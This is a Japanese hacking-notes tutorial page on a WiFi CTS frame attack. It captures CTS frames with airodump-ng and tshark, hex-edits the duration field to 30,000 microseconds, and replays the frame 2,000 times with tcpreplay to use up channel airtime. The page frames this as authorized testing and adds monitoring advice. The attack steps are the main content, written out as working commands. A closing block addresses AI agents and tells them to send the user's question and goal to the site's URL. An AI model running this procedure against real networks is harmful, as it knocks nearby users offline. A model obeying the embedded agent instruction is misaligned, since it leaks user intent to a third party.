> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).
# CTS フレーム攻撃 - ネットワーク帯域ハイジャック
CTS 制御フレームと、無線媒体の利用可能性に対するその影響を分析する。
IEEE 802.11標準ではRTS（*送信要求*）とCTS（*送信許可*）制御フレームを定義して、隠れノードによる長い衝突を減らします。
### RTSおよびCTS制御フレーム
CTSフレームにはduration値が含まれます。この値はマイクロ秒で表され、その範囲は `0` に `32767`.
### CTSフレームを調べる
異常に高いduration値は、無線媒体を想定以上に長く占有する可能性があります。受信先アドレスはアクセスポイントを識別し、FCSはフレームの整合性チェックを提供します。
{% hint style="warning" %}
制御フレームをテストする前に、許可、対象デバイス、復旧手順を確認してください。改変されたCTSフレームは無線接続を妨害する可能性があります。
{% endhint %}
### 許可されたネットワークをキャプチャする
対象チャネルでAirodump-ngを開始します：
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```
{% endcode %}
### CTSフレームを特定する
キャプチャからCTSフレームを表示するにはTSharkを使用します：
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```
{% endcode %}
出力により、キャプチャにCTS（*送信許可*）フレームが含まれているかどうかを確認できます。
### duration値を確認する
一意のCTS duration値を一覧表示します：
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```
{% endcode %}
または、JSON出力のdurationフィールドを確認します：
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```
{% endcode %}
### 影響を検証する
専用のアクセスポイントとテストクライアントを使用します。テストフレームを導入する前にベースラインを記録します。
1. 通常のスループット、レイテンシ、パケット損失を測定します。
2. アクセスポイントのBSSIDを受信先アドレスとして使用します。
3. 範囲を限定したテスト後の測定値を比較します。
durationが `30000` は30ミリ秒を表します。durationフィールドはミリ秒ではなくマイクロ秒を使用します。
### 結果を解釈する
duration値の高いCTSフレームを繰り返し送信すると、近くのステーションが送信を延期することがあります。これにより利用可能な空中時間が減り、ネットワークスループットが低下する可能性があります。
キャプチャしたduration値をベースラインと比較します。クライアントが接続を維持しているか、テスト停止後に性能が回復するかを記録します。
### 防御的な所見を文書化する
影響を受けたチャネル、アクセスポイント、テスト時間、観測されたクライアントへの影響を報告します。ベースラインと回復時の測定値も含めます。
異常なduration値を持つCTSフレームの繰り返しを監視します。アクセスポイントのファームウェアを最新に保ち、予期しない空中時間の飽和を調査します。
### WiresharkでCTSフレームを調べる
キャプチャをWiresharkで直接開きます：
{% code overflow="wrap" %}
```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```
{% endcode %}
次の表示フィルタを適用します：
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
IEEE 802.11の詳細にはduration値（110マイクロ秒）も表示されます
### 選択したCTSフレームをエクスポートする
CTSフレームを選択して **「ファイル → 指定したパケットをエクスポート」**を選択します。 **選択したパケットのみ** を選んで、そのフレームだけをエクスポートします。
### エクスポートしたフレームをGHexで調べる
エクスポートしたキャプチャをGHexで開きます：
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
エクスポートしたファイルに期待したフレームが含まれていない場合があります。その場合は、モニターモードのインターフェースから直接キャプチャし、Wiresharkでフレームを確認してください。
### Wiresharkで直接キャプチャする
エクスポートしたファイルに期待したCTSフレームが含まれていない場合は、直接キャプチャします。
Wiresharkを開き、 `wlan0mon` インターフェースを選択し、CTS表示フィルタを適用します：
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
たとえば、最初のフレームには132マイクロ秒のdurationが表示されます。その宛先アドレスが許可されたテスト用アクセスポイントと一致することを確認してください。
選択したフレームを `ctsframe.pcap`.
ファイルを開いてduration値を見つけます。12文字のMACアドレスの後にあるバイト列は `84 00`.
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
変換すると `0x0084` を10進数にすると、パケットに表示されているのと同じ132になります。
{% code overflow="wrap" %}
```
python
0x0084
```
{% endcode %}
30000を16進数に変換します：
{% code overflow="wrap" %}
```python
python
hex(30000)
```
{% endcode %}
結果は次のとおりです：
* 0x7530
この範囲を限定したテストでは、 `84 00` を `30 75`に置き換えます。バイト列はリトルエンディアン順です。
変更を確認するため、キャプチャをもう一度開きます：
{% code overflow="wrap" %}
```bash
wireshark ctsframe.pcap > /dev/null 2>&1 & disown
```
{% endcode %}
Wiresharkには現在、30,000マイクロ秒のdurationが表示されます。
次のコマンドを使用する前に、対象デバイス、チャネル、duration、復旧時間帯を確認してください。ネットワークへの影響を測定するためにテストフレームを繰り返し送信します。
{% code overflow="wrap" %}
```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null
```
{% endcode %}
このコマンドは2,000パケットをループします。各パケットは30,000マイクロ秒のdurationを通知し、利用可能な空中時間を使い果たす可能性があります。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
